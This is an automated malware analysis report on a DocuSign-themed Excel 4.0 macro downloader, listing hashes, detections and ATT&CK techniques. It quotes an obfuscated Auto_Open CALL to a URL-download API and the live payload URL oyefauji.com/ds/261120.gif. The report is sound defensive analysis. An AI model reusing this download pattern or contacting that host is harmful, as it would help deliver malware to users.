Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 70c8ed4a066b9b12…

MALICIOUS

Office (OLE) / .XLS

331.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel
MD5: 6e5de5d8eb97737f41d7e07523853de4 SHA-1: a5bd48da38e65e642a1594099a0564dae83505a3 SHA-256: 70c8ed4a066b9b12af03899afaaae7d94e1ec0b5b73d50ab3ebf74c6739acca4
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel 4.0 macro-enabled workbook contains an Auto_Open macro that executes a series of commands. The macros leverage dangerous functions like RUN and CALL, and construct strings that appear to form a URL for downloading a secondary payload. Specifically, the macro `CALL("UR"& DocuSig!BY111&"n","UR"& DocuSig!BY120&"e"&"A","IICCII",0, DocuSig!FE100, DocuSig!BN62& DocuSig!BN77& DocuSig!BN91,0,0)` likely constructs a command to fetch content from a remote server, indicated by the embedded URL `https://oyefauji.com/ds/261120.gif`.

Heuristics 6

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • ClamAV: Doc.Downloader.Docusign0521-9864805-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Docusign0521-9864805-0
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://oyefauji.com/ds/261120.gif
    • https://oyefauji.com/ds/261120.gif�

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
58a4f5727165121d868a3a8deb557c7e948c3b637eb6aacf726ea069bd257a4e		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6677 bytes

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